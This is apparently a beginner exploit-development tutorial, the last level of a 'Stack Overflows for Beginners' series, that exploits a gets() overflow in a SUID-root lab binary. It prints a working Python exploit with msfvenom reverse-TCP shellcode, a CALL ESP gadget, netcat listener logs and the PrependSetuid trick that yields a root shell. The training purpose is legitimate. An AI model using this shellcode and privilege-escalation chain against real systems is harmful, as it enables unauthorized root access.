Welcome again to the Stack Overflows for Beginners series! In this post, we continue with the Level 5 binary and work on exploiting it to get the next flag — this time, with a twist: we’re going for a root shell! We’ll build on the skills developed in previous levels — identifying overflow points, calculating the EIP offset, controlling execution flow, and injecting shellcode — while introducing privilege escalation techniques.
If you haven’t read the first part yet, I recommend checking it out first to understand the background, setup, and our goals in this challenge series.
This walkthrough is part of my beginner-level training series, “Linux Usermode Exploitation 101,” created to help newcomers build a solid foundation in Linux-based exploit development and security research.
Level 5 Objectives
- Reuse previously learned techniques (buffer overflow, EIP control, shellcode injection)
- Spot privilege escalation gaps in SUID binaries
- Use
PrependSetuid=true
when the binary lacks explicitsetuid(0)
- Craft payloads to escalate privileges and spawn a root shell
Accessing the Level 4 User
To begin this level, we switch to the level4 user using the password we found in the previous challenge.
(See the Level 4 post for how we found it.)
$ ls -l levelFive
-rwsr-sr-x 1 root root 15548 Jun 8 2019 levelFive
New levelFive
binary is owned by user and group root
and is executable. Because of the s
in the permission string -rwsr-sr-x
, we assume that running this binary will execute it with the privileges of root
, not level
4.
Disassembling
To begin analyzing the binary, we list all defined functions with info func
:
(gdb) info func
All defined functions:
Non-debugging symbols:
0x00001000 _init
0x00001030 printf@plt
0x00001040 gets@plt
[...]
0x000011a9 overflow
0x000011ff main
[...]
We focus on the main
and overflow
functions, located at:
0x000011ff — main
0x000011a9 — overflow
Inspecting main()
(gdb) disass main
Dump of assembler code for function main:
0x000011ff <+0>: push ebp
0x00001200 <+1>: mov ebp, esp
0x00001202 <+3>: and esp, 0xfffffff0
0x00001205 <+6>: call 0x121b <__x86.get_pc_thunk.ax>
0x0000120a <+11>: add eax, 0x2df6
0x0000120f <+16>: call 0x11a9 <overflow>
0x00001214 <+21>: mov eax, 0x0
0x00001219 <+26>: leave
0x0000121a <+27>: ret
The main
function sets up the stack and calls overflow
. No arguments are passed to it.
Inspecting overflow()
(gdb) disass overflow
Dump of assembler code for function overflow:
0x000011a9 <+0>: push ebp
0x000011aa <+1>: mov ebp, esp
0x000011ac <+3>: push ebx
0x000011ad <+4>: sub esp, 0x14
0x000011b0 <+7>: call 0x10b0 <__x86.get_pc_thunk.bx>
0x000011b5 <+12>: add ebx, 0x2e4b
0x000011bb <+18>: sub esp, 0x8
0x000011be <+21>: lea eax, [ebx - 0x1ff8]
0x000011c4 <+27>: push eax
0x000011c5 <+28>: lea eax, [ebx - 0x1fe5]
0x000011cb <+34>: push eax
0x000011cc <+35>: call 0x1030 <printf@plt>
0x000011d1 <+40>: add esp, 0x10
0x000011d4 <+43>: sub esp, 0xc
0x000011d7 <+46>: lea eax, [ebp - 0xc]
0x000011da <+49>: push eax
0x000011db <+50>: call 0x1040 <gets@plt>
0x000011e0 <+55>: add esp, 0x10
0x000011e3 <+58>: sub esp, 0x8
0x000011e6 <+61>: lea eax, [ebp - 0xc]
0x000011e9 <+64>: push eax
0x000011ea <+65>: lea eax, [ebx - 0x1fe2]
0x000011f0 <+71>: push eax
0x000011f1 <+72>: call 0x1030 <printf@plt>
0x000011f6 <+77>: add esp, 0x10
0x000011f9 <+80>: nop
0x000011fa <+81>: mov ebx, DWORD PTR [ebp - 0x4]
0x000011fd <+84>: leave
0x000011fe <+85>: ret
The vulnerable call here is gets()
, which takes user input into [ebp - 0xc]
— without bounds checking. Combined with sub esp, 0x14
, this creates a potential for a classic stack buffer overflow, which we’ll explore in the next steps.
Finding the Overflow
The disassembly gives us clues about where user input lands and how much space is available.
The instruction sub esp, 0x14
at the start of the overflow
function allocates 20 bytes on the stack for local variables:
0x000011ad <+4>: sub esp, 0x14
Later, the program prepares a buffer for user input using gets()
:
0x000011d7 <+46>: lea eax, [ebp - 0xc]
0x000011da <+49>: push eax
0x000011db <+50>: call 0x1040 <gets@plt>
This means gets()
writes input into [ebp - 0xc]
, placing our data inside a 12-byte stack buffer.
To confirm this, we start testing input lengths. Supplying 8 characters works fine:
$ python3 -c "print('A' * 8)" | ./levelFive
Enter your input: Buf: AAAAAAAA
But when we push the input to 12 bytes, it crashes:
$ python3 -c "print('A' * 12)" | ./levelFive
Enter your input: Buf: AAAAAAAAAAAA
Segmentation fault
This confirms that the buffer can hold up to 11 characters safely — the 12th byte starts overwriting adjacent memory. Since gets()
lacks boundary checks, it readily writes beyond the allocated 12-byte buffer, leading to a classic stack-based buffer overflow.
Controlling EIP
Finding the Offset
To determine how many bytes are needed to reach EIP, we generate a unique pattern:
$ msf-pattern_create -l 64
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
We run the binary with this pattern as input (GDB):
[...]
Enter your input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
Buf: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
Program received signal SIGSEGV, Segmentation fault.
0x61413561 in ?? ()
Inside GDB, the program crashes with EIP set to 0x61413561
. Now we calculate the exact offset:
$ msf-pattern_offset -q 0x61413561
[*] Exact match at offset 16
This tells us that the 17th byte (offset 16) is where EIP begins.
Creating the Exploit Template
from struct import pack
size = 1000
offset = 16
shellcode = b"\x90" * 16
buf = b"A" * offset # padding up to EIP overwrite
buf += b"B" * 4 # EIP overwrite
buf += shellcode
buf += b"C" * (size - len(buf)) # junk
print("[*] Generating payload")
with open("payload.bin", "wb") as f:
f.write(buf)
print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")
We generate the payload to confirm:
$ python3 exploit.py
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000
Then we launch the binary inside GDB, feeding input from the payload:
(gdb) set args < payload.bin
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level4/levelFive < payload.bin
Enter your input: Buf: AAAAAAAAAAAAAAAABBBB����������������C...[SNIP]...CCCCCC
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
As expected, the program crashes again — this time with EIP set to our chosen value (0x42424242
). We now have reliable control over EIP.
Identifying Bad Characters
For this challenge, we already know that the following characters break shellcode execution:
\x00
(null byte)\x0a
(newline)
You can refer to the Stack Overflows for Beginners — Level 4 for step-by-step reproduction if you want to test the input manually using GDB and pattern buffers.
Redirecting Execution to Shellcode
To redirect execution flow to our shellcode, we make use of a previously discovered CALL ESP
gadget located at:
0xf7f5be9b
This gadget will transfer control to the top of the stack, where our shellcode resides.
For full details on how to locate this gadget , refer to the Stack Overflows for Beginners — Level 4.
Command Execution
We generate a reverse shell payload using msfvenom
, ensuring it avoids bad characters \x00
and \x0a
:
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4443 -b "\x00\x0a" -v shellcode -f py
Then, updating our PoC with above information:
from struct import pack
size = 1000
offset = 16
# bads: \x00\x0a
shellcode = b"\x90" * 12
shellcode += b"\xdd\xc1\xd9\x74\x24\xf4\x5a\xb8\x66\xc6\xa2\x8b"
shellcode += b"\x31\xc9\xb1\x12\x31\x42\x17\x83\xc2\x04\x03\x24"
shellcode += b"\xd5\x40\x7e\x99\x02\x73\x62\x8a\xf7\x2f\x0f\x2e"
shellcode += b"\x71\x2e\x7f\x48\x4c\x31\x13\xcd\xfe\x0d\xd9\x6d"
shellcode += b"\xb7\x08\x18\x05\x37\xeb\xda\xd4\xaf\xe9\xda\xc7"
shellcode += b"\x74\x67\x3b\x57\xec\x27\xed\xc4\x42\xc4\x84\x0b"
shellcode += b"\x69\x4b\xc4\xa3\x1c\x63\x9a\x5b\x89\x54\x73\xf9"
shellcode += b"\x20\x22\x68\xaf\xe1\xbd\x8e\xff\x0d\x73\xd0"
buf = b"A" * offset # padding up to EIP overwrite
buf += pack("<I",0xf7f5be9b) # EIP overwrite [libc-2.28.so]
buf += shellcode
buf += b"C" * (size - len(buf)) # junk
print("[*] Generating payload")
with open("payload.bin", "wb") as f:
f.write(buf)
print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")
Generate the payload and start listener:
$ python3 exploit.py
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000
$ nc -nvlp 4443
listening on [any] 4443 ...
Trigger the exploit:
$ ./levelFive < payload.bin
And the reverse shell connects back successfully:
$ nc -nvlp 4443
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56224
id
uid=1004(level4) gid=1004(level4) groups=1004(level4)
whoami
level4
cd /root
/bin/sh: 3: cd: can't cd to /root
cat /root/root.txt
cat: /root/root.txt: Permission denied
While we successfully gained a shell, it runs as the level4
user — not root
. This is because the binary, although marked as SUID-root, does not drop us into a root context after exploitation. We’ll investigate and confirm the reason in the next section.
Escalating Privileges
While analyzing the main
and overflow
functions earlier, we noticed that the binary does not contain any calls to common privilege escalation functions such as:
setuid(0);
setreuid(0, 0);
setresuid(0, 0, 0);
Even though the binary is marked as SUID-root, it does not explicitly switch the effective UID to 0 (root). As a result, our reverse shell runs with the real UID (level4
) instead of elevated privileges.
To overcome this limitation, we can instruct msfvenom
to prepend shellcode that sets the UID to 0. This is achieved by adding the PrependSetuid=true
option during payload generation:
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4443 -b "\x00\x0a" PrependSetuid=true -v shellcode -f py
Getting a Root Shell
Update your PoC script with the new shellcode and trigger the exploit again. This time, the reverse shell will run with root privileges:
$ nc -nvlp 4443
listening on [any] 4443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56230
id
uid=0(root) gid=1004(level4) groups=1004(level4)
cd /root
ls
Desktop Documents Downloads Music Pictures Public Templates Videos root.txt
cat /root/root.txt
[REDACTED]
You can also use the obtained flag as the root password:
$ su root
Password:
root@kali:/home/level0# cd /root
root@kali:~# ls
Desktop Documents Downloads Music Pictures Public root.txt Templates Videos
We have successfully completed the Stack Overflows for Beginners journey from the Linux Usermode Exploitation 101 series.
I hope you enjoyed this walkthrough and picked up useful exploitation skills. Feel free to revisit this material anytime, and continue the course for more advanced topics.